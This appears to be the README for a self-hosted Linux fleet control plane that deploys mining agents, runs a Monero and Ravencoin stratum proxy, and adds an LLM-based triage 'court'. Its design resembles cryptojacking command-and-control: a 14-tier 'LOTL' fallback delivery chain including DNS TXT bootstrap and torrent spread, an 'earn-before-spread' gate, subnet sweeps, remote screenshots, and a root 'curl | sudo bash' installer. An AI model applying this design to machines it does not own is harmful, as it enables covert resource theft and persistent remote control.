# AetherForge Linux (forge-mesh) Self-hosted Linux control plane for fleets of enrolled machines. Single Go binary with an embedded React frontend, stratum mining proxy, 14-tier deployment chain, and optional AI-assisted remediation court. --- ## Table of Contents - [Architecture](#architecture) - [Components](#components) - [Prerequisites](#prerequisites) - [Quick Start](#quick-start) - [Portable USB Deck](#portable-usb-deck) - [Configuration](#configuration) - [Building](#building) - [Installing Agents](#installing-agents) - [Command Deck (Web UI)](#command-deck-web-ui) - [API Reference](#api-reference) - [14-Tier Deployment Chain](#14-tier-deployment-chain) - [Mining & Stratum Proxy](#mining--stratum-proxy) - [Singular Machine Court](#singular-machine-court) - [Alerts (Telegram)](#alerts-telegram) - [Networking](#networking) - [systemd Deployment](#systemd-deployment) - [Testing](#testing) - [Environment Variables](#environment-variables) - [Known Limits](#known-limits) - [Security Notes](#security-notes) - [Project Layout](#project-layout) --- ## Architecture ``` ┌─────────────────────────────────────────────┐ │ forge-mesh-server │ │ ┌──────────────┐ ┌──────────────────┐ │ │ │ React SPA │ │ REST / WS API │ │ │ │ (embedded) │◄──│ /api/v1/... │ │ │ └──────────────┘ └────────┬─────────┘ │ │ ┌───────────┐ ┌──────────┐ │ ┌──────────┐ │ │ │ SQLite │ │ Fleet │ │ │ Stratum │ │ │ │ Store │ │ Hub │ │ │ Proxy │ │ │ └───────────┘ └──────────┘ │ └──────────┘ │ └─────────────────────────────┼───────────────┘ │ WebSocket / HTTP ┌──────────────────┼──────────────┐ │ forge-mesh-agent (per host) │ │ ┌───────────┐ ┌────────────┐ │ │ │ Mining │ │ Tier / │ │ │ │ Chain │ │ Beacon │ │ │ └───────────┘ └────────────┘ │ └─────────────────────────────────┘ ``` **Server** — serves the embedded SPA, REST+WebSocket API, SQLite state, stratum proxy, and optional AI court. **Agent** — persistent WebSocket to the deck (falls back to HTTP beacon), tiered mining chain, handles `pause`/`resume`/`reboot`/`screenshot`/`mining_profile` commands, polls for signed self-updates. --- ## Components | Binary | Purpose | |--------|---------| | `forge-mesh-server` | Control plane: API, web UI, SQLite, stratum proxy, court | | `forge-mesh-agent` | Per-host agent: mining chain, WebSocket heartbeat, command handler | | `forge-mesh-forge` | CLI: cross-compile and sign agent binaries, record in DB | --- ## Prerequisites **Required** | Requirement | Notes | |-------------|-------| | Go 1.22+ | `make` targets use `/opt/go/bin/go`; override with `GO=` | | gcc / build-essential | CGO required for `go-sqlite3` | | Node.js + npm | Only needed to rebuild the Command Deck frontend | **Optional** (feature-gated) | Tool | Feature | |------|---------| | `xmrig` | Native CPU miner (simulated fallback if absent) | | `lolMiner` / `rigel` | GPU mining (KawPoW / RVN) | | `podman` or `docker` | OCI mining tier (T4, T10) | | `nix` | Nix flake deploy tier (T11) | | `wg` / `wireguard-tools` | WireGuard mesh tier (T9) | | `cloudflared` | Cloudflare tunnel sidecar | | Ollama / OpenAI-compat API | AI court deliberation | | `grim`, `scrot`, or `import` | Screenshot command | --- ## Quick Start ```bash git clone && cd aetherforge-linux make all # build server + agent + forge CLI $EDITOR data/config.json # set credentials and wallet make run # → http://localhost:8989 ``` Default login: `admin` / `changeme` (change before exposing to any network). --- ## Portable USB Deck ```bash # Pack (from repo root after building) ./scripts/pack-usb.sh # Deploy tar -xzf dist/forge-mesh-portable-*.tar.gz && cd forge-mesh-portable-* $EDITOR data/config.json # change credentials & wallet ./LAUNCH.sh ``` `LAUNCH.sh` checks for a Cloudflare tunnel token, starts `cloudflared` as a sidecar if found, starts `forge-mesh-server`, and opens the deck in your browser. ```bash AF_NO_BROWSER=1 ./LAUNCH.sh # headless / SSH ``` --- ## Configuration `data/config.json`: ```json { "listen_addr": ":8989", "data_dir": "./data", "database_path": "./data/forge-mesh.db", "operator_clearance": 4, "auth": { "basic_username": "admin", "basic_password": "changeme", "fleet_secret": "change-me-fleet-secret" }, "wallet_policy": { "default_wallet": "", "currency": "XMR" }, "stratum": { "xmr_listen": ":3333", "rvn_listen": ":3388", "upstream_xmr": "pool.supportxmr.com:3333", "upstream_rvn": "stratum-ravencoin.flypool.org:3333" }, "forge": { "signing_key_path": "./data/signing.key", "artifacts_dir": "./data/artifacts" }, "court": { "ollama_url": "http://127.0.0.1:11434", "enabled": false }, "telegram": { "enabled": false, "bot_token": "", "chat_id": "" } } ``` | Key | Description | |-----|-------------| | `listen_addr` | HTTP server bind address | | `operator_clearance` | L0–L4; gates privileged actions | | `auth.fleet_secret` | Shared secret agents use for Bearer auth | | `wallet_policy.default_wallet` | Fallback mining wallet address | | `stratum.*` | Local proxy ports and upstream pool addresses | | `forge.signing_key_path` | ed25519 key used to sign agent builds | | `court.ollama_url` | Ollama base URL (requires `court.enabled: true`) | | `telegram.*` | Bot token + chat ID for fleet event alerts | --- ## Building ```bash make server # → bin/forge-mesh-server make agent # → bin/forge-mesh-agent make forge # → bin/forge-mesh-forge make all # build all three make web-deck # npm install + build React SPA, sync into webroot make deck # web-deck + server make build # go build ./... (type-check only) make tidy # go mod tidy ``` **Forge CLI** — cross-compile and sign agent artifacts: ```bash # Build linux/amd64 + linux/arm64, sign ed25519, record in DB ./bin/forge-mesh-forge build --config data/config.json --version 1.2.0 # Print signing public key (pass to agents via -pubkey or FORGE_MESH_PUBKEY) ./bin/forge-mesh-forge pubkey --config data/config.json ``` Signed builds are served at `/api/v1/public/builds` and `/api/v1/public/download/{id}`. --- ## Installing Agents **One-liner summon:** ```bash curl -fsSL http://:8989/install.sh | sudo bash ``` The script is rendered from `scripts/install.sh.tpl` with fleet secret, deck URL, and signing public key injected at runtime. **Manual / systemd:** ```bash sudo mkdir -p /opt/forge-mesh sudo install -m 0755 bin/forge-mesh-agent /opt/forge-mesh/agent sudo tee /etc/forge-mesh/agent.env <:8989 FORGE_FLEET_SECRET= FORGE_PUBKEY= EOF sudo cp deploy/systemd/forge-mesh-agent.service /etc/systemd/system/ sudo systemctl enable --now forge-mesh-agent ``` **Agent flags:** | Flag | Env | Description | |------|-----|-------------| | `-deck-url` | `FORGE_MESH_DECK_URL` | Deck base URL | | `-secret` | `FORGE_MESH_FLEET_SECRET` | Fleet bearer secret | | `-pubkey` | `FORGE_MESH_PUBKEY` | ed25519 public key for signed self-update | | `-host-id` | — | Stable host ID (persisted to data dir) | | `-stratum-host` | — | Stratum proxy host (default `127.0.0.1`) | | `-wallet` | `FORGE_WALLET` | Fallback wallet when no server profile | | `-data-dir` | — | Agent state dir (default `/opt/forge-mesh` or `~/.forge-mesh`) | --- ## Command Deck (Web UI) Develop locally: ```bash cd web && npm install && npm run dev # proxies /api → http://localhost:8989 ``` | Route | Description | |-------|-------------| | `/login` | HTTP Basic login (credentials in `sessionStorage`) | | `/dashboard` | Fleet host cards, real-time hashrate, tier badges, WS health | | `/forge` | Trigger cross-compiled agent builds | | `/calibrate` | Mining profile policy editor — push profiles to fleet | | `/crucible` | Batch terminal — dispatch commands to enrolled hosts | | `/seer` | SSE event stream — live audit log of fleet and court events | --- ## API Reference Protected endpoints require HTTP Basic auth. Agent endpoints use `Authorization: Bearer `. ### Public | Method | Path | Description | |--------|------|-------------| | `GET` | `/api/v1/health` | Version + health check | | `GET` | `/install.sh` | Rendered agent install script | | `GET` | `/api/v1/public/builds` | List public builds | | `GET` | `/api/v1/public/builds/latest` | Latest public build | | `GET` | `/api/v1/public/download/{id}` | Download a signed artifact | ### Agent (fleet secret) | Method | Path | Description | |--------|------|-------------| | `POST` | `/api/v1/fleet/register` | Register host, returns `host_id` | | `POST` | `/api/v1/fleet/beacon` | HTTP fallback heartbeat | | `GET` | `/api/v1/ws/fleet` | WebSocket: heartbeat + command delivery | ### Protected (operator) | Method | Path | Description | |--------|------|-------------| | `GET` | `/api/v1/fleet` | List all enrolled hosts | | `POST` | `/api/v1/fleet/{id}/command` | Dispatch a command | | `POST` | `/api/v1/fleet/{id}/mining-profile` | Push a mining profile | | `GET` | `/api/v1/fleet/{id}/lotl/timeline` | LOTL tier attempt history | | `POST` | `/api/v1/fleet/{id}/lotl/run` | Trigger adaptive tier run | | `GET` | `/api/v1/fleet/{id}/spread-gate` | Earn-before-spread gate status | | `GET/PUT` | `/api/v1/policy/wallet` | Get / update wallet policy | | `GET/PUT` | `/api/v1/policy/mining-profile` | Get / set global mining profile | | `POST` | `/api/v1/policy/snapshot` | Create shareable policy snapshot token | | `GET` | `/api/v1/forge/builds` | List all recorded builds | | `POST` | `/api/v1/forge/builds/trigger` | Trigger build pipeline | | `POST` | `/api/v1/crucible/dispatch` | Dispatch batch terminal command | | `GET` | `/api/v1/crucible/history` | Crucible command history | | `GET` | `/api/v1/seer` | SSE stream of seer events | | `POST` | `/api/v1/court/sessions` | Open a court session | | `POST` | `/api/v1/court/sessions/{id}/deliberate` | Run prosecutor/defender/judge | | `POST` | `/api/v1/court/sessions/{id}/verdict` | Dispatch final verdict | | `GET/POST` | `/api/v1/wireguard/peers` | List or add WireGuard peers | | `GET` | `/api/v1/wireguard/config` | Render WireGuard config | --- ## 14-Tier Deployment Chain Sequential fallback chain. Each tier is gated by environment recon and a patch-first check. The Atlas skip system learns which tiers fail per host phenotype and skips them on retry. | # | Type | Description | |---|------|-------------| | T1 | `ssh_key` | SSH key-based push | | T2 | `curl_bash` | `curl \| bash` summon | | T3 | `ansible_pull` | Ansible pull from control repo | | T4 | `podman_rootless` | Rootless Podman container | | T5 | `systemd_transient` | `systemd-run` transient unit | | T6 | `snap_flatpak` | Snap or Flatpak package | | T7 | `lan_cache_peer` | LAN peer cache distribution | | T8 | `dns_txt` | DNS TXT record bootstrap | | T9 | `mtls_wireguard` | mTLS mesh join over WireGuard | | T10 | `immutable_oci` | Immutable OCI image (Docker/Podman) | | T11 | `nix_flake` | Nix flake derivation | | T12 | `erasure_reassembly` | Reed-Solomon erasure-coded shard reassembly | | T13 | `fleet_torrent` | Fleet-seeded torrent distribution | | T14 | `offline_contingency` | Offline/USB bundle fallback | The adaptive engine reorders tiers by historical success rate per phenotype on subsequent runs. --- ## Mining & Stratum Proxy Built-in stratum TCP proxy relays agent miner connections to upstream pools. Miners are tried in priority order; first success becomes active. | Miner | Algo | Notes | |-------|------|-------| | `xmrig` | RandomX (XMR) | Native binary; simulated fallback if absent | | GPU (lolMiner/Rigel) | KawPoW (RVN) | Requires `nvidia-smi` or `rocm-smi` | | OCI (podman/docker) | RandomX | Pulls `xmrig/xmrig` via Podman | | Stratum (raw TCP) | XMR / KawPoW | Validates deck proxy path | If no miner binary is found, a mock miner keeps the chain alive with simulated hashrate. GPU tiers require proprietary drivers installed separately. --- ## Singular Machine Court Optional AI-assisted triage for stuck or failing hosts. Requires `court.enabled: true` and a running [Ollama](https://ollama.ai) instance (or any OpenAI-compatible API). 1. **Open** — `POST /api/v1/court/sessions` starts a case for a host. 2. **Deliberate** — gathers LOTL tier evidence and runs three `llama3.2` prompts: - **Prosecutor**: argues for aggressive remediation. - **Defender**: argues for conservative retry. - **Judge**: synthesises a concise operational verdict. 3. **Verdict** — L4 clearance operator approves; supported actions: - `retry_adaptive_tiers` — re-runs the deploy chain with adaptive ordering. - `pause_host` — marks the host paused. All transcripts and verdicts persist in SQLite and emit as Seer events. Without Ollama, court runs in stub mode with placeholder responses. --- ## Alerts (Telegram) ```json "telegram": { "enabled": true, "bot_token": "TOKEN", "chat_id": "CHAT_ID" } ``` Fires on fleet commands dispatched, court verdicts, and significant fleet events. --- ## Networking ### Cloudflare Tunnel `cloudflared` runs as an external sidecar (not in-process). Provide a token and `LAUNCH.sh` handles the rest: ```bash echo 'YOUR_CF_TUNNEL_TOKEN' > data/cloudflared-token.txt ./LAUNCH.sh ``` Or set `AF_TUNNEL_TOKEN` in the environment. `LAUNCH.sh` looks for `cloudflared` on `PATH` or in `bin/cloudflared`. ### WireGuard Mesh (operator-managed) AetherForge does **not** auto-provision WireGuard. Configure it yourself: ```bash apt install wireguard wireguard-tools wg genkey | tee data/wg-private.key | wg pubkey > data/wg-public.key ``` `/etc/wireguard/forge-mesh.conf`: ```ini [Interface] PrivateKey = Address = 10.66.0.1/24 ListenPort = 51820 [Peer] PublicKey = AllowedIPs = 10.66.0.2/32 ``` ```bash sudo systemctl enable --now wg-quick@forge-mesh ``` Point agents at the deck WireGuard IP: `FORGE_MESH_DECK_URL=http://10.66.0.1:8989`. Peer records are managed via `/api/v1/wireguard/peers`. --- ## systemd Deployment ```bash # Control plane sudo cp deploy/systemd/forge-mesh-server.service /etc/systemd/system/ sudo mkdir -p /opt/forge-mesh && sudo cp -r bin/ data/ /opt/forge-mesh/ sudo systemctl enable --now forge-mesh-server # Agent (on enrolled hosts) sudo cp deploy/systemd/forge-mesh-agent.service /etc/systemd/system/ sudo tee /etc/forge-mesh/agent.env <:8989 FORGE_FLEET_SECRET= FORGE_PUBKEY= EOF sudo systemctl enable --now forge-mesh-agent ``` Server working directory: `/opt/forge-mesh`. Config: `/opt/forge-mesh/data/config.json`. --- ## Testing ```bash # Backend make test # or: go test ./... # Frontend cd web && npm install npm run test # run once npm run test:watch # watch mode npm run test:coverage # V8 coverage # From repo root make test-frontend # End-to-end make e2e # or: ./scripts/e2e-test.sh ``` See [`docs/TESTING.md`](docs/TESTING.md) for MSW handlers, mock WebSocket/EventSource, and how to write new tests. --- ## Environment Variables | Variable | Scope | Description | |----------|-------|-------------| | `FORGE_MESH_DECK_URL` | Agent | Deck base URL | | `FORGE_MESH_FLEET_SECRET` | Agent | Fleet bearer secret | | `FORGE_MESH_PUBKEY` | Agent | ed25519 public key hex for signed self-update | | `FORGE_WALLET` | Agent | Fallback mining wallet | | `AF_TUNNEL_TOKEN` | Launcher | Cloudflare tunnel token (overrides file) | | `AF_TUNNEL_EXTERNAL` | Launcher | Set to `1` automatically when sidecar starts | | `AF_NO_BROWSER` | Launcher | Skip opening a browser | | `AF_CONFIG` | Launcher | Override config path | | `AF_DATA_DIR` | Launcher | Data directory path | | `AF_SERVER_BIN` | Launcher | Path to `forge-mesh-server` binary | | `AF_DECK_URL` | Launcher | Browser URL (default `http://localhost:8989`) | --- ## Known Limits See [`docs/PROBLEMS.md`](docs/PROBLEMS.md) for the full list. - **No worm-style LAN spread.** Enrolled-only; gated by earn-before-burn phenotype check. - **WireGuard is operator-managed.** No auto-provisioning of keys, configs, or NAT traversal. - **GPU tiers need drivers pre-installed.** The summon installer does not install GPU stacks. - **Court requires an LLM you operate.** No bundled model. - **SQLite is single-node.** Multi-deck HA and Postgres are out of scope. - **Signature verify is dev-grade.** Dev builds may skip verification with a warning. - **USB copies are not hardened live media.** Rotate all secrets before production use. --- ## Security Notes - Change `auth.basic_password` and `auth.fleet_secret` before exposing the deck. - Do not commit `data/signing.key`, `data/cloudflared-token.txt`, or `data/forge-mesh.db`. - L0–L4 clearance gates are policy-enforced, not cryptographic. Compromised deck credentials bypass all gates. - USB copies carry your fleet secret — treat the device like a key. - Subnet sweeps (`/api/v1/fleet/subnets/sweep`) only probe operator-declared CIDRs. --- ## Project Layout ``` aetherforge-linux/ ├── cmd/ │ ├── agent/ # forge-mesh-agent binary │ ├── forge/ # forge CLI (build/sign artifacts) │ └── server/ # forge-mesh-server + embedded webroot ├── internal/ │ ├── alerts/ # Telegram notifier │ ├── api/ # HTTP server, router, handlers, WS hub │ ├── auth/ # Basic auth, fleet secret middleware, ticket store │ ├── config/ # Config loader │ ├── court/ # Singular Machine Court + Seer event hub │ ├── db/ # SQLite open/migrate │ ├── erasure/ # Reed-Solomon erasure coding (T12) │ ├── fleet/ # Host store, fleet hub, tier chain, recon, atlas │ ├── forge/ # Build pipeline, key pair, artifact signing │ ├── mining/ # Mining chain, tier implementations, mock miner │ ├── policy/ # Mining profile policy │ ├── stratum/ # TCP stratum proxy (XMR + RVN) │ └── testutil/ # Shared test helpers ├── web/ # React + Vite + Tailwind Command Deck ├── deploy/systemd/ # systemd unit files ├── scripts/ # LAUNCH.sh, pack-usb.sh, test runners, install template ├── data/ # Runtime data (config, SQLite, signing key, artifacts) ├── docs/ # TESTING.md, PROBLEMS.md ├── dist/ # Packed portable tarballs └── Makefile ```